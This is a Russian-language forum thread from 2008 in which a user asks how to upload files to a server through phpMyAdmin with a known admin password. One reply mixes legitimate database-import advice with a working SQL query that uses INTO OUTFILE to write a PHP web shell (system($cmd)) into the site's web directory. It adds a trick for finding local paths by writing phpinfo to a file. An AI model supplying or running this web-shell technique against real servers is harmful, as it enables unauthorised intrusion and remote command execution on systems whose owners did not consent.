phpmyadmin

Discussion in 'Песочница' started by sadfeel, 27 Nov 2008.

Thread Status:
Not open for further replies.
  1. sadfeel

    sadfeel Member

    Joined:
    5 Nov 2008
    Messages:
    83
    Likes Received:
    6
    Reputations:
    0
    можно ли както залить файл на сервер через phpMyadmin если известен пас на админку? если да то как?
     
    #1 sadfeel, 27 Nov 2008
    Last edited: 27 Nov 2008
    1 person likes this.
  2. Rebz

    Rebz Super Moderator
    Staff Member

    Joined:
    8 Nov 2004
    Messages:
    4,055
    Likes Received:
    1,532
    Reputations:
    1,128
  3. AkyHa_MaTaTa

    AkyHa_MaTaTa Elder - Старейшина

    Joined:
    19 Mar 2007
    Messages:
    558
    Likes Received:
    306
    Reputations:
    27
    можно попробывать через мускуль(into out file), конечно если есть file priv и подходяшая дира(с возможностью записи).
     
  4. cash$$$

    cash$$$ Banned

    Joined:
    6 Jan 2008
    Messages:
    385
    Likes Received:
    246
    Reputations:
    10
    sadfeel

    Если залить БД на сервер, то вариантов несколько;

    Если БД данными не сильно наполнена! То у себя локально делаешь дамп структура+данные, в случае если у тебя структура не создана на хостере, иначе просто данные. Заходишь в phpmyadmin , выбираешь свою БД, кликаешь на sql-запрос, копируешь содержимое своего дампа в окно запроса, корректишь имя БД или хоста, ну и жмешь кнопку "Пошел".
    Если БД заполнена данными конкретно. Делаешь дамп только структуры своей БД. Создаешь ее тем же phpmyadmin'ом у хостера. Делаешь у себя в локальной БД выгрузку данных обычным запросом: сколько таблиц, столько и файлов получишь. Потом эти файлы также можно загрузить в phpmyadmin, при помощи фичи - загрузка данных через файл.
    Если хостер позволяет удаленно подключаться тем же MySQL Front или MySQL CC, то можно прямо с API любого все сделать.

    Если залить шелл через PHPmyadmin, то можно попробывать зделать следующие:

    если есть права на запись, выполняй запрос

    Code:
    SELECT '<?php system($cmd) ?>' FROM `table` INTO OUTFILE '/home/site/www/dir/shell.php'
    /home/site/www/dir/shell.php- Подставляешь свое значение.

    в phpmyadmin много способов узнать локальный путь например: какой-нибудь файл который обычно не вызывается на прямую а только инклудится, а поэтому можно попробовать select '<? phpinfo(); ?>' into outfile '/path_to_phpmyadmin/shell.php'

    Если пишет #1045 - Access denied for user 'name'@'localhost' (using password: YES)

    то значит нет прав на заливку.
     
Thread Status:
Not open for further replies.